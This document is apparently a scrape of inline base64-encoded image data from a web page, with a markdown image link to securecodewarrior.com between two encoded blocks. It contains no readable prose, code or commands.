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width="256" }](https://securecodewarrior.com)
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